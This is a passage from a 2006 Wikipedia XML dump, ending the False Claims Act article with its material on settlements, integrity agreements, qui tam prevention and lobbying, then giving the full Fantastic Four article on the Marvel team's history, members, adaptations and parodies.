* That Allied will take &quot;all reasonable and necessary steps&quot; not to resubmit any false claims;   
* That Allied will abide by a Corporate Integrity Agreement for five years; 

In that case, the Corporate Integrity Agreement required that Allied implement a Corporate Integrity Program (CIP) covering all company directors, officers, employees, and independent contractors associated with Allied's sales, performance, or billings for lab services.   In brief, this program consisted of:
* The formation of a CIP Management Committee consisting of the regional general managers of the corporation; 
* The designation of a Corporate Compliance Officer;  
* The submission by the Committee of quarterly reports to the Board of Directors with copies sent to HHS; 
* The development of written &quot;Standards of Conduct&quot; to be distributed to &quot;all persons covered by the CIP.&quot; 
* A requirement to develop an ongoing training and education program for all present and future employees to ensure future compliance with the law; 
* Removal of all employees involved in the matters described in the Civil Action. 
* A requirement to make &quot;reasonable inquiries&quot; to determine whether or not any present and future employees, agents, or contractors has ever been convicted of a criminal offense related to health care or is otherwise ineligible to participate in federal programs and, if so, to terminate the relationship; 
* Instituting an &quot;annual review of its billing policies, procedures and practices&quot; to ensure appropriate billing; 
* Taking immediate corrective action when future violations occur including restitution and reporting to HHS;
* Annual reporting to HHS of, among other things:
&lt;ul&gt;
a) all actions taken to comply with the Agreement&lt;br&gt;
b) a list of all documents dealing with compliance&lt;br&gt;
c) verification of compliance training&lt;br&gt;
d) a summary of all internal investigations and,&lt;br&gt;
e) certification of compliance with the Agreement;
&lt;/ul&gt;
* Prior notification of HHS whenever the corporation acquires or sells or changes the name of any entities;  and
*  Maintenance of all records for a period of six years.  

The settlement agreement also required that, upon reasonable notice, HHS have access to records and employees without a corporate representative present.   Were Allied to breech the agreement it could face exclusion or suspension from federal programs.   				

Defendant's negotiating a settlement agreement should also be aware that government attorney's have often insisted on waiver of the attorney-client privilege and waiver of the work-product doctrine.   Nevertheless, some settlements have not included such waivers.   Furthermore, the government usually tries to limit releases to the behavior described in the complaint.   Therefore, a defendant should attempt to negotiate a release of 1) all claims related to the subject matter, 2) a release for individuals for the same monetary damages and penalties for which the organization has already paid once, and 3) a catch-all release for claims under any statutory or regulatory provisions of the federal programs that could potentially cover the subject matter of the complaint. 

== Preventing FCA lawsuits ==

Medical providers need to be aware that &quot;all employees, sub-contractors, agents, representatives, shareholders, vendors, competitors, clients and the like are potential relators.&quot;   Furthermore, the harsh provisions of settlement agreements and other costs involved in defending an FCA lawsuit call for corporate medical providers to take preventive action simply to meet their fiduciary duty to stockholders. 

To reduce their exposure to qui tam lawsuits, medical providers should develop internal mechanisms to ensure compliance with complex and constantly changing Medicare and Medicaid regulations.  The benefits of an internal fraud detection program include early detection of problems, subversion of employees' ability and inclination to bring a qui tam lawsuit, and the opportunity to voluntarily disclose fraud or mistakes thereby reducing penalties to double damages and also reducing fines. 

== The Act's future ==

{{POV-because|Reads like an essay, and needs sources for some parts}}

There is annual pressure on Congress to revise the False Claims Act.  The [[American Hospital Association]] (AHA) has made weakening the False Claims Act its top priority.   In particular, the AHA seeks to raise the intent level required to prove a false claim  and to raise the burden of proof from a preponderance of the evidence standard to a clear and convincing standard.  

Ultimately, if medical providers have their way with Congress, the power of the FCA and its qui tam provisions may be fleeting.  The AMA and the AHA are jointly spending millions on Capitol Hill lobbying efforts and in court battles to diminish the FCA's power.  Their efforts may  stifle a dawning awareness of the FCA's utility in fraud fighting efforts in many other sectors of our society.  

However, if the FCA remains in its current form, an inventive citizenry will begin to more broadly use this powerful tool to hold public officials, corporations, and individuals entrusted with the expenditure of trillions of taxpayer dollars to their word.

[[Category:United States law]]</text>
    </revision>
  </page>
  <page>
    <title>Fantastic Four</title>
    <id>11664</id>
    <revision>
      <id>41547371</id>
      <timestamp>2006-02-28T01:59:41Z</timestamp>
      <contributor>
        <ip>71.123.78.209</ip>
      </contributor>
      <comment>/* Parodies and references */</comment>
      <text xml:space="preserve">{{alternateuses|The Fantastic Four}}
{{Superteambox| &lt;!--Wikipedia:WikiProject Comics--&gt;
image=[[Image:FF509.jpg|250px]]
|caption=Cover art of '''''The Fantastic Four''''' #509&lt;br&gt;By [[Mike Wieringo]]
|comic_color=background:#ff8080
|team_name=The Fantastic Four
|publisher=[[Marvel Comics]]
|debut=''The Fantastic Four'' Vol. 1, #1 (Nov. 1961)
|creators=[[Stan Lee]] &amp; [[Jack Kirby]] &lt;!--on same line helps give them equal weight--&gt;
|status=Active
|base=[[Baxter Building]] (current)&lt;br&gt;Four Freedoms Plaza&lt;br&gt;Pier Four
|alliance_color=background:#ffc0c0
|current_members=[[Mister Fantastic]] (leader)&lt;br/&gt;[[Invisible Woman]]&lt;br/&gt;[[Human Torch (Johnny Storm)|Human Torch]]&lt;br/&gt;[[Thing (comics)|The Thing]]
|former_members=[[Crystal (comics)|Crystal]]&lt;br/&gt;[[Luke Cage]]&lt;br&gt;[[She-Hulk]]&lt;br&gt;[[Medusa]]&lt;br&gt;[[Ms. Marvel]]&lt;br&gt;(''See also [[List of Fantastic Four members]]'')
|}}

'''The Fantastic Four''' is [[Marvel Comics]]' flagship [[superhero]] team, created by [[Stan Lee]] and [[Jack Kirby]] and debuting in ''The Fantastic Four'' #1 (Nov. 1961).

Although the group's membership has occasionally changed temporarily, it almost always consists of these four core friends and family-members, who gained superpowers after being exposed to [[cosmic rays]] during an [[outer space]] [[science]] mission:
:* '''[[Mister Fantastic]]''' (Reed Richards), the leader of the group, a scientist who can stretch his body.
:* The '''[[Invisible Woman]]''' (Susan Richards, née Storm; originally the '''Invisible Girl'''), Reed Richard's wife, and the team's [[second-in-command]], who can become invisible at will and create invisible force fields.
:* The '''[[Human Torch]]''' (Johnny Storm), Sue's brother, who can surround himself in flames and fly.
:* The '''[[Thing (comics)|Thing]]''' (Ben Grimm), their grumpy friend with a heart of gold, who possesses superhuman strength and durability, but with a monstrous, craggy exterior that looks as if made of orange rock.

Since its introduction — in which the groundbreaking team did not even hew to the convention of superhero costumes its first two issues — the Fantastic Four has been portrayed as a somewhat dysfunctional yet loving family. Uniquely at the time, and also breaking convention with comic-book archetypes, its members would squabble and even hold animosities both deep and petty toward one another at times, though ultimately truly caring for and supporting each other.

The team launched the revival of Marvel Comics in the early 1960s, giving it a pivotal place in the history of [[American comic books]].  The Fantastic Four have have remained more or less popular since, and have been adapted into other [[media]], including three [[animated television series]], an aborted 1990s low-budget [[film]], and a major-studio motion picture, ''[[Fantastic Four (2005 movie)|Fantastic Four]]'' (2005).

The comic-book series, which famously added the hyperbolic tagline &quot;The World's Greatest Comic Magazine!&quot; above the title starting with issue #4, dropped the &quot;The&quot; from the cover logo with #15, becoming simply ''Fantastic Four''.

==Publication history==
[[Image:ff1kirby.jpg|thumb|left|200px|''[[The Fantastic Four]]'' #1 (Nov. 1961). Cover art by [[Jack Kirby]] (penciller) and [[Dick Ayers]] (inker; unconfirmed).]]
Legend has it that in 1961, longtime [[magazine]] and [[comic book]] [[publisher]]  [[Martin Goodman (publisher)|Martin Goodman]] was playing golf with rival publisher Jack Liebowitz of [[DC Comics]]. a.k.a. National Periodical Publications.&lt;!--a.k.a. name is mentioned here because Stan Lee says &quot;National Comics&quot; in quote directly below this paragraph--&gt;  Liebowitz, according to the story, bragged about DC's success with the superhero team the [[Justice League|Justice League of America]], which had debuted in ''The Brave and the Bold'' #28 (Feb. 1960) before going on to its own hit title (premiere cover-date: Nov. 1960). Whether or not this mythic meeting actually occurred, Goodman, a publishing trend-follower aware of the JLA's strong sales, directed his comics editor, [[Stan Lee]], to begin publishing a comic-book series about a team of superheroes.

&quot;Martin mentioned that he had noticed one of the titles published by National Comics seemed to be selling better than most&quot;, recalled Lee in 1974. &quot;It was a book called ''The'' [sic] ''Justice League of America'' and it was composed of a team of superheroes. ... ' If the Justice League is selling ', spake he, ' why don't we put out a comic book that features a team of superheroes?' &quot;{{fn|1}}

Lee, who'd served as editor-in-chief and art director of Marvel and its predecessor companies, [[Timely Comics]] and [[Atlas Comics (1950s)|Atlas Comics]], for two decades, had by now found the medium restrictive. &quot;[My wife] Joan was commenting about the fact that after 20 years of producing comics I was still writing [[television]] material, [[advertising]] copy and [[newspaper]] features in my spare time. She wondered  why I didn't put as much effort and creativity into the comics as I seemed to be putting into my other freelance endeavors. ...[H]er little dissertation made me suddenly realize that it was time to start concentrating on what I was doing — to carve a real career for myself in the nowhere world of comic books&quot;.{{fn|2}}

&lt;!--See &quot;Discussion&quot;, please, re: the following phrase: Intending to leave after completing this assignment (one which, decades later, he claimed he did not take seriously),--&gt;Lee teamed with artist [[Jack Kirby]] to produce a groundbreaking series featuring a family of superheroes who were fallible and more [[naturalism (literature)|naturalistically]] human than virtually anything seen in superhero comics to that time. &quot;For just this once&quot;, Lee wrote, &quot;I would do the type of story I myself would enjoy reading.... And the characters would be the kind of characters i could personally relate to: they'd be flesh and blood, they'd have their faults and foibles, they'd be fallible and feisty, and — most important of all — inside their colorful, costumed booties they'd still have feet of clay&quot;.{{fn|3}}
[[Image:FF48.jpg|thumb|200px|''FF'' #48 (March 1966): The Watcher warns, in part one of the landmark &quot;Galactus Trilogy&quot;. Cover art by Kirby &amp; [[Joe Sinnott]].]]

To forestall possibly upsetting DC{{fact}} (which, in addition to being a competing publisher, was also the distributor of Marvel's limited line of comics), Lee and Kirby deliberately avoided making the new book look like a competing superhero comic; the new characters appeared on the cover without costumes and had no secret identities.  Lee's intended swan song became unexpectedly and phenomenally successful; Lee and Kirby stayed together on the book and began launching other titles from which the vaunted &quot;[[Marvel Universe]]&quot; of additional interrelated titles and characters grew.

Through its creators' lengthy run, the series produced many acclaimed stories and characters that have become central to Marvel, including [[Doctor Doom]]; the [[Silver Surfer]]; [[Galactus]]; the [[Watcher (comics)|Watcher]]; the [[Inhumans (comics)|The Inhumans]]; the [[Black Panther (comics)|Black Panther]]; the rival alien [[Kree]] and [[Skrull]] races; and Him, who would become [[Adam Warlock]]. As well, the daring duo of Lee &amp; Kirby, who eventually shared credited as  co-plotting collaborators, introduced such concepts as the [[Negative Zone]] and [[unstable molecules]], two core elements of the Marvel mythos. In the book's most groundbreaking yet utterly natural development, ''Fantastic Four'' presented superhero comics' first pregnancy, culminating with the birth of a superhero family's first child, [[Franklin Richards|Franklin Benjamin Richards]], in ''Fantastic Four Annual'' #5 (1968).

After Kirby's departure from Marvel in 1970, ''Fantastic Four'' continued with Lee, [[Roy Thomas]], [[Gerry Conway]], and [[Marv Wolfman]] as its consecutive regular writers, working with artists including [[John Romita, Sr.]], [[John Buscema]], [[Rich Buckler]], and [[George Perez]], with longtime inker [[Joe Sinnott]] helping to provide some visual continuity. [[Jim Steranko]] contributed a handful of covers.
[[Image:FF232.jpg|thumb|200px|left|[[John Byrne]] gets  &quot;Back to the Basics&quot; in ''FF'' #232, his debut as writer-artist. Cover inks: [[Terry Austin (comic book artist)|Terry Austin]].]]
In the 1980s, [[John Byrne]] created what many critics call the series' best run since Lee &amp; Kirby's. He started on the title with issue #209 (Aug. 1979), doing pencil breakdowns for Sinnott to finish. Byrne then scripted two tales as well (#220-221, July-Aug. 1980) before writer [[Doug Moench]] and penciler [[Bill Sienkiewicz]] took over for 10 issues. Then, with issue #232 (July 1981), the aptly titled &quot;Back to the Basics&quot;, Byrne began his triple-threat run as writer, penciller, and (initially under the pseudonym '''Bjorn Heyn''') inker on the celebrated title. His  key contribution was the modernization of the Invisible Girl into the Invisible Woman — a self-confident and dynamic character whose newfound control of her abilities made her the most powerful member of the team. Byrne also staked bold directions in the characters' personal lives, having the married Sue and Reed Richards suffer a miscarriage — as well as a separation that seemed headed for divorce.

In February 2004, Marvel launched the series ''[[Ultimate Fantastic Four]]'', a version of the group in the &quot;[[Ultimate Marvel|Ultimate]]&quot; [[alternate universe]]. Additionally, Marvel launched ''[[Marvel Knights 4]]'', a spinoff Fantastic Four series, in April 2004. Other ongoing-title spinoffs have included the 1970s quarterly title ''Giant-Size Fantastic Four'' and the 1990s ''Fantastic Four Unlimited'', and there have been numerous miniseries.

==Character history==
The Fantastic Four acquired superhuman abilities after an experimental [[rocket]] ship designed by scientist Reed Richards passed through a storm of [[cosmic ray]]s on its test flight to outer space. Upon crash landing back on Earth, the four impromptu astronauts found themselves transformed and possessed of bizarre new abilities.
[[Image:FF51.jpg|thumb|200px|right|''FF'' #51 (June 1966): &quot;This Man...This Monster!&quot; — considered one of comics' greatest stories.{{fn|4}} Cover art by Kirby &amp; Sinnott.]]
Richards, who took the name [[Mister Fantastic]], was now able to stretch his body into nearly any shape he could imagine (similar to Timely Comics' Thin Man and [[Quality Comics]]' celebrated [[Plastic Man]]). His fiancée, Susan Storm, gained the ability to become invisible at will and named herself the Invisible Girl (later the [[Invisible Woman]]).  She later developed the ability to project force fields, create invisible objects, and turn other objects visible or invisible. Her younger brother, Johnny Storm, possessed the incendiary powers of the [[Human Torch (Johnny Storm)|Human Torch]], enabling him to control fire, project burning bolts of flame from his body, and fly. Finally, pilot Ben Grimm was transformed into a monstrous, craggy, humanoid with orange, rock-like skin, incredible strength. and a nearly invulnerable hide. Filled with anger, self-loathing and self-pity over his new existence, he dubbed himself the [[Thing (comics)|Thing]], the term Susan used in her initial, startled reaction to his transformation.

The four characters were modeled after the four [[classical element|classical Greek elements]]: earth (The Thing), fire (The Human Torch), wind (The Invisible Girl) and water (the pliable and ductile Mr. Fantastic). They also appear to be inspired by co-creator Kirby's similarly unmasked though non-superpowered DC Comics quartet the [[Challengers of the Unknown]].

The team of adventurers have used their fantastic abilities to protect humanity, the Earth and the universe from a number of threats. Propelled mainly by Richards' innate scientific curiosity, the team have explored space, the [[Negative Zone]], the [[Microverse]], other dimensions and nearly every hidden valley, nation and lost civilization on the planet.  

They have had a number of headquarters, most notably the [[Baxter Building]] in New York City. The Baxter Building was replaced by Four Freedoms Plaza, built at the same location, after the Baxter Building's destruction at the hands of Kristoff Vernard, adopted son of the Fantastic Four's seminal villain (and rumored half-brother of Mr. Fantastic) [[Doctor Doom]]. Pier 4, a warehouse on the New York waterfront, served as a temporary headquarters for the group after Four Freedoms Plaza was condemned, due to the actions of another superhero team, the [[Thunderbolts (comics)|Thunderbolts]]. In the mid-2000s, an orbiting satellite version of the Baxter Building has been used.
[[Image:FF247.jpg|thumb|200px|left|''FF'' #247 (Oct. 1982): [[Doctor Doom]], by penciler-inker Byrne.]] 

The comic has typically emphasized that the Fantastic Four, unlike most superhero teams, are truly a family. Three of the four members are directly related, with The Thing being the exception.  Although not strictly related, The Thing's role is that of the beloved [[Dutch uncle]], and his relationship with Mister Fantastic and the Human Torch is nonetheless quite sibling-like.  The children of Mister Fantastic and the Invisible Woman, [[Franklin Richards]] and [[Valeria Richards]], are also regulars in the series. 

Unlike most superheroes, the Fantastic Four's identities are not secret and they maintain a high public profile, enjoying celebrity status for their scientific and heroic contributions to society.  Recent issues have revealed that this is a deliberate move by Reed Richards, who works to keep the team highly visible and well-regarded out of [[guilt]] for causing their [[mutations]].

* [[List of Fantastic Four members]]

==Solo features==
===The Human Torch===
Johnny Storm starred in a early Silver Age solo series beginning in ''[[Strange Tales]]'' #101 (Oct. 1962), in 12- to 14-page stories plotted by Lee and initially scripted by his brother, [[Larry Lieber]], and drawn by penciler Kirby and inker [[Dick Ayers]].
[[Image:Marvel2-in-1n.20.jpg|thumb|200px|''Marvel Two-In-One'' #20 (Oct. 1976), cover art by Kirby &amp;  [[Frank Giacoia]], with [[John Romita Sr.]] corrections. [[Golden Age of comic books|Golden Age]] heroes the [[Whizzer]], [[Miss America (Marvel Comics)|Miss America]], the [[Jeffrey Mace|Patriot]] and the [[Blue Diamond]] look on.]]
Here Johnny was seen living with his elder sister, Susan, in fictional [[Glenview]], [[Long Island]], [[New York]], where he continued to attend [[high school]] and, with youthful naivete, attempted to maintain his &quot;secret identity&quot;. (Decades later, a [[retcon]] revealed that his friends and neighbors knew of his dual identity all along, from Fantastic Four news reports, but had humored him). Supporting characters included Johnny's girlfriend, Doris Evans, usually seen only in consternation as Johnny cheerfully flew off to battle bad guys. (She was seen again in a 1970s issue of ''Fantastic Four'', having become a heavyset but cheerful wife and mother.) Ayers took over the penciling after 10 issues, later followed by original [[Human Torch (Golden Age)|Golden Age Human Torch]] creator [[Carl Burgos]] and others. The FF made occasional cameo appearances, and the Thing became a co-star with #123 (Aug. 1964). 

&quot;The Human Torch&quot; shared the &quot;split book&quot; ''Strange Tales'' with fellow feature &quot;[[Doctor Strange]]&quot; for the majority of its run, before finally flaming off with issue #134 (July 1965), replaced the following month by &quot;[[Nick Fury|Nick Fury, Agent of S.H.I.E.L.D.]]&quot;.

===The Thing===
The &quot;ever-lovin', blue-eyed Thing&quot;, as Ben Grimm sometimes refers to himself, appeared in the team-up title ''[[Marvel Two-in-One]]'', co-starring with Marvel heroes not only in the present day but occassionally in other time periods (fighting alongside the [[Liberty Legion]] in #20 and [[Doc Savage]] in #21, for example) and in [[Parallel universe|alternate realities]]. The series ran 100 issues (Jan. 1974 - June 1983), with seven summer annuals (1976–1982), and was immediately followed by the solo title ''The Thing'' #1-36  (July 1983 &amp;ndash; June 1986).

Another ongoing solo series, also titled ''The Thing'', debuted with a premiere issue cover-dated January 2006.  For a list including one-shots, miniseries, [[graphic novels]], and [[trade paperback]] collections, see [[Thing (comics)#Bibliography|Thing Bibliography]].

==Characters==
===Heroes===
* [[Mister Fantastic]] - Reed Richards
* [[Thing (comics)|The Thing]] - Benjamin Jacob &quot;Ben&quot; Grimm
* [[Invisible Woman]] (previously [[Invisible Woman|Invisible Girl]]) - Susan Richards (née Storm)
* [[Human Torch|The Human Torch]] - Jonathan Lowell Spencer &quot;Johnny&quot; Storm

===Temporary Replacement Members===
* [[H.E.R.B.I.E.]] - Humanoid Experimental Robot; replaced Human Torch in 1978 TV series
* [[Medusa (comics)|Medusa]] - An Inhuman; filled-in when the Invisible Girl separated from Mr. Fantastic due to marital problems
* [[Crystal (comics)|Crystal]] - An Inhuman and Johnny Storm's girlfriend at the time; left due to pollution allergies
* [[Luke Cage]] - Power Man - Replacement during the Thing's brief absence
* [[Nova (comics)|Nova]] - Mutant Frankie Raye; later became herald to Galactus
* [[She-Hulk]] - Jennifer Walters, first cousin of Bruce Banner, the [[Hulk (comics)|Hulk]]; replacement for the Thing
* [[She-Thing|Ms. Marvel]] - Former pro. wrestler Sharon Ventura; gained powers and appearance similar to the Thing's
* [[Lyja]] - An undercover Skrull whom Johnny Storm married, believing her to be Alicia Masters
* [[Ant-Man (Scott Lang)|Ant Man II]] - Scott Lang, reformed thief utilizing [[Henry Pym]]'s shrinking particles; briefly hired when Reed Richards/Mr. Fantastic was missing and presumed dead
* Kristoff - [[Doctor Doom]]'s protege, mind-conditioned to behave as Doom. Attracted to Ant Man's daughter, joined team in last issues of series I
* [[Hulk (comics)#Grey Hulk .28.22Joe Fixit.22.29|The Hulk]], [[Spider-Man]], [[Wolverine (comics)|Wolverine]] and [[Ghost Rider#Daniel Ketch|Ghost Rider]] have together served as a complete replacement-Fantastic Four on occasion. In the main Marvel Universe, they stepped in to temporarily replace the team when the Four had been kidnapped by an enemy, while in the Ages of Apocalypse timeline, they remained in the roles more permanently.

===Allies/Supporting Characters===
[[Franklin Richards]](son)
[[Valeria Richards]] (daughter)
* [[Alicia Masters]]
* The [[Inhumans]]
** [[Black Bolt]]
** [[Crystal (comics)|Crystal]] (former FF member)
** [[Medusa (comics)|Medusa]] (former FF member)
** Gorgon
** [[Karnak (comics)|Karnak]]
** Triton
** [[Lockjaw (comics)|Lockjaw]]
* [[Namor the Sub-Mariner]]
* [[Silver Surfer]]
* [[Uatu|The Watcher]]
* Postal worker [[Willie Lumpkin]]
* [[Wyatt Wingfoot]]

===Antagonists===
* [[Air-Walker]]
* [[Annihilus]]
* [[Blastaar]]
* Devos (The Destroyer)
* [[Diablo (comics)|Diablo]]
* [[Doctor Doom]]
* [[Dragon Man]]
* [[Frightful Four]]
* [[Galactus]]
* [[Hydro-Man]]
* [[Impossible Man]]
* [[Kang the Conqueror]]/[[Rama-Tut]]/[[Immortus]]
* [[Klaw]]
* [[Mad Thinker]]
* [[Mephisto (comics)|Mephisto]]
* [[Mole Man]]
* [[Molecule Man]]
* [[Overmind]]
* [[Puppet Master (comics)|Puppet Master]]
* [[Ronan the Accuser]]
* [[Red Ghost]]
* [[Skrulls]]
* [[Super-Skrull]]
* [[Thanos]]
* [[Terrax]]
* [[The Sandman (Marvel Comics)|The Sandman]]
* [[Thundra]]
* [[Trapster]]
* [[Wizard (Marvel Comics)|Wizard]]

==Comic book within a comic book==
[[Image:FF10.jpg|thumb|''Fantastic Four'' #10 (Jan. 1963). Check out Stan and Jack. Cover art by Kirby &amp; Ayers]]
Issue #10 (Jan. 1963) established the conceit that the Fantastic Four (and by extension the rest of the Marvel universe) existed in the same world as Marvel Comics; the team-members, it was explained, had licensed their names and likenesses to the company, and the rights to adapt their &quot;real-life&quot; adventures. In this issue, Doctor Doom himself came to Marvel's [[Madison Avenue]] offices. Sharp-eyed fans would later note that this &quot;real-world&quot; Marvel was even more fictional than it seemed: Not only was penciler Jack Kirby working at a drawing table there, rather than at home per his wont, but the office door was labeled &quot;Lee and Kirby&quot; — suggesting the kind of comradely partnership fans wanted and expected. 

The following issue reinforced this notion of &quot;real-world superheroes&quot; by having the Fantastic Four, in civilian clothes, stroll to a newstand hoping to pick up the latest comic book. This was in &quot;A Visit with the Fantastic Four&quot;, the first of two stories in issue #11 (Feb. 1963). 

The second story marked the introduction of the impish [[Impossible Man]], who starred in writer [[Roy Thomas]]' self-referential update in ''Fantastic Four'' #176 (Nov. 1976), &quot;Improbable As It May Seem — The Impossible Man Is Back In Town!&quot; Here he invaded the Marvel offices demanding to have his own comic. Lee, Kirby, writer Thomas, issue artists [[George Perez]] and [[Joe Sinnott]], and Marvel staffers [[Gerry Conway]], [[Archie Goodwin]], [[Marie Severin]], [[Marv Wolfman]], and [[John Verpoorten]] all made cameo appearances.

This conceit was again used in #262 (Jan. 1984), which depicted writer-artist [[John Byrne]] being asked by editor [[Michael Higgins]] for the latest issue, since it was almost late.  Byrne explained he had been unable to contact the Fantastic Four for the latest story, since they were away.  He was about to make up a story when the Watcher whisked him away to take part in the FF's latest adventure.  At the end of the issue, Byrne submitted his story. Byrne made use of this comic-within-the-comic notion in his 1990s ''[[She-Hulk|Senasational She-Hulk]]'' run.

''Marvels Comics: Fantastic Four'' (2000) was a mock-up of what the comic book published in the Marvel Universe might have looked like, and was (within the fictional context of the story) produced with the official approval of &quot;Fantastic Four, Inc.&quot;

==Other media==
There have been three ''Fantastic Four'' [[animated TV series]] and two feature films (though one of the movies went unreleased, and is only available in a widely circulated bootleg). The Fantastic Four also guest-starred in the &quot;Secret Wars&quot; story arc of the 1990s ''Spider-Man'' animated series. 

===Animated Series===
*[[Fantastic Four (1967 animated series)]]
*[[Fantastic Four (1978 animated series)]]
*[[Fantastic Four (1994 animated series)]]

===Video Games===
{{main|Fantastic Four (video game)}}
In 1998 a side-scrolling [[Computer and video games|video game]] was released for the Sony [[PlayStation]] home video game system / platform, based on the Fantastic Four characters.  In the game you and a friend could pick among the Fantastic Four characters (along with the She-Hulk), and battle your way through various levels until you faced Doctor Doom.  The game was widely panned by critics for having  weak storyline and handling of the characters' powers.

The Fantastic Four also appeared in the Super NES and Sega Genesis video games based on the 1990's ''Spider-Man'' animated series, and inevitably, they starred in their own multi-platform games based on the 2005 movie.

===Movies===
[[Image:Fantastic four poster.jpg|thumbnail|right|250px|Promotional poster for ''Fantastic Four'' (2005), featuring [[Chris Evans (American actor)|Chris Evans]], [[Michael Chiklis]], [[Jessica Alba]], and [[Ioan Gruffudd]].]]

A movie adaptation of ''[[Fantastic Four (1994 film)|The Fantastic Four]]'' was completed in 1994 by famed [[b-movie]] director/producer [[Roger Corman]]. While this movie was never released to theaters or video, it has been made available from various [[Bootleg recording|bootleg]] video distributors. The film was made on a shoestring budget and is largely mocked by fans of the comic book foursome for what they see as poor acting and disappointing special effects (at one point, The Human Torch — played by a human actor — turns into an obvious cartoon upon &quot;flaming-on&quot;).
[[Image:Ffmovie1994.jpg|thumb|left|150px|The &quot;original&quot; cast]]
It was ultimately revealed by Stan Lee that unbeknownst to the cast and crew, this movie was never intended to be released in the first place. It was only made because the studio who owned the movie rights to the Fantastic Four would have lost them if it had not begun production by a certain deadline date (a tactic known as creating an [[ashcan copy]]).

Another feature film adaptation of ''[[Fantastic Four (2005 movie)|The Fantastic Four]]'' was released July 8, 2005 by Sony, and directed by [[Tim Story (film director)|Tim Story]]. ''Fantastic Four'' opened in approximately 3600 Theaters and despite predominantly poor reviews grossed US$156M in North America and a total of $329M worldwide, weighed against a production budget of $100M and an officially undisclosed marketing budget. It stars [[Ioan Gruffudd]] as Reed Richards/Mister Fantastic, [[Jessica Alba]] as Susan Storm/Invisible Woman, [[Chris Evans (American actor)|Chris Evans]] as Johnny Storm/Human Torch, [[Michael Chiklis]] as Ben Grimm/The Thing and [[Julian McMahon]] as Victor Von Dr. Doom, with Stan Lee making a cameo appearance as Willie Lumpkin, the mailman.

On October 22, 2005, a sequel was announced, tentatively directed by [[Tim Story (film director)|Tim Story]] and written by [[Mark Frost]].

==Parodies and references==
* The cover to ''Fantastic Four'' #1 is likely the [[List of Fantastic Four, issue number 1 cover spoofs|most-spoofed comic book cover]] ever.

* The cartoon series ''[[The Tick]]'' featured in several episodes an obvious Fantastic Four parody known as The Civic Minded Five, which included team members Four-Legged Man, Captain Mucilage, The Carpeted Man, Jungle Janet, and Feral Boy. 

* On an episode of ''[[The Adventures of Jimmy Neutron: Boy Genius]]'', Jimmy and his friends pass through a radiation belt that gives them super powers. The only person to get a Fantastic Four power is Libby. She gets all the powers of Invisible Woman and calls herself &quot;Invisible Sister&quot;.

*In [[DC Comics]]' ''[[Adventures of Superman]]'' #466, a space shuttle crew gained the powers of the Fantastic Four, but were unable to control them. The Thing and Human Torch analogues died as a result. The Mr Fantastic analogue managed to prevent his wife from fading from existence before seeming to die himself. He would later appear as the [[Cyborg Superman]].

*An episode of the animated series ''[[The Venture Bros.]]'', titled ''Ice Station Impossible'', involved an obvious parody of the Fantastic Four (especially their costumes,) with powers more horrific than beneficial.

*An early episode of ''[[Batman Beyond]]'', called &quot;Heroes,&quot; features a trio of superheroes who closely resemble The Fantastic Four.

*The ''[[SpongeBob SquarePants]]'' episode ''Mermaid Man and Barnacle Boy V'' had a parody of the Fantastic Four, although [[SpongeBob SquarePants (character)|SpongeBob]]'s powers were a parody of The [[Flash (comics)|Flash]] and not of a particular Fantastic Four member. 

*The hit cartoon show ''[[The Simpsons]]'' has also poked fun at the Fantastic Four.
**In ''The Simpsons' [[Treehouse of Horror X]]'' episode, [[Bart Simpson|Bart]] and [[Lisa Simpson|Lisa]] are exposed to radiation and transformed into 'Stretch Dude' and 'Clobber Girl' 
**In ''The Simpsons' [[Treehouse of Horror XIV]]'' episode, [[Bart Simpson|Bart]] discovers a magic stopwatch; near the end of the episode he gives it to [[Lisa Simpson|Lisa]], who presses the button repeatedly — at one point briefly turning the family into the Fantastic Four. 
**In another episode of ''The Simpsons'' entitled &quot;I Am Furious, Yellow&quot; guest-starring Stan Lee, a boy in the comic book shop wants to buy a [[Batman]] action figure, but Stan tries to sell the boy an action figure of The Thing instead. 
*The universe of writer [[Kurt Busiek]]'s various ''[[Astro City]]'' comics includes a Fantastic Four-like group called The First Family. 

*The 2004 [[Walt Disney Pictures|Disney]]/[[Pixar]] animated feature ''[[The Incredibles]]'' is built around a family of superheroes whose powers include stretching, super strength, invisibility/force field, and, to a more briefly seen extent, flame. (Another family-member has superspeed.) [[Marvel Studios]] chairperson [[Avi Arad]] told ''[[Entertainment Weekly]]'' that, &quot;In the words of Stan Lee, when someone asked him about ''The Incredibles'', he said, ' You know, it feels like I wrote it.'&quot;{{fn|5}}

*An episode of &quot;[[The Mask]]&quot; animated series featured four stones that granted the exact same powers as those of the Fantastic Four. Only the invisibility stone was used, however.

*An episode of &quot;[[Atomic Betty]]&quot;, featured three Betty clones possessing the powers of the Torch, Mr. Fantastic, and the Thing, including their traditional colors.

*The [[Wildstorm]] comic series [[Planetary (comics)|Planetary]] has as its main villains a group called simply The Four. They are counterparts to the Fantastic Four in many ways, mostly in their powers and in the relationships between the analogs to Mr. Fantastic and the Invisible Woman. 

*The [[animated series]] [[Captain Planet and the Planeteers]] featured a villain named [[Duke Nukem (Captain Planet character)|Duke Nukem]], who had rocky skin similar to that of the Thing. Similarly, Duke Nukem's condition was brought about due to radioactive exposure.

*In issues 29-30 of the 1989 [[Legion of Super-Heroes]] series, a team of four villains (Elasti-Kid 5, Ghost 6, Flare and Alloy 12) had powers based on those of the Fantastic Four.

*In issues 50-52 of [[Power Pack]], a quartet of Kymellian heroes called Force 4 (Teamleader, Ghostmare, Firemane and Thunderhoof) was based in powers (though Teamleader's power was only his superior intelligence, and not any variation of Mister Fantastic's stretching power) and in name (with the exception of Ghostmare, the real names of these heroes was a Pig Latin version of their Fantastic Four counterparts') on the Fantastic Four. Ghostmare was later renamed Matriarch, paralleling the Invisible Woman's role in the Fantastic Four family as well.

*The opening of a [[Garfield]] Sunday strip parodied the opening of a FF comic book. Garfield was the Thing, Odie was Mr. Fantastic, Nermal was the Human Torch (who was trying to blow out his flaming tail), and Arlene was the Invisible Woman. The name of the comics company that turns out Garfield was placed instead of Marvel Comics, as Paws Comics Group.

*In [[Family Guy]], in the episode &quot;Petarded&quot;, Peter Griffin refers to Fantastic Four while playing [[Trivial Pursuit]]

*In the MC2 imprint, a team called the Fantastic Five exists. It's membership consists of the Human Torch, Ms. Fantastic (Lyja), Psi-Lord (Franklin Richards), Big Brain (a robot with the mind of Reed Richards), and the Thing (though he may be dead). Had the Fantastic Five book lasted longer, the team would have been succeeded by their superpowered offspring. 

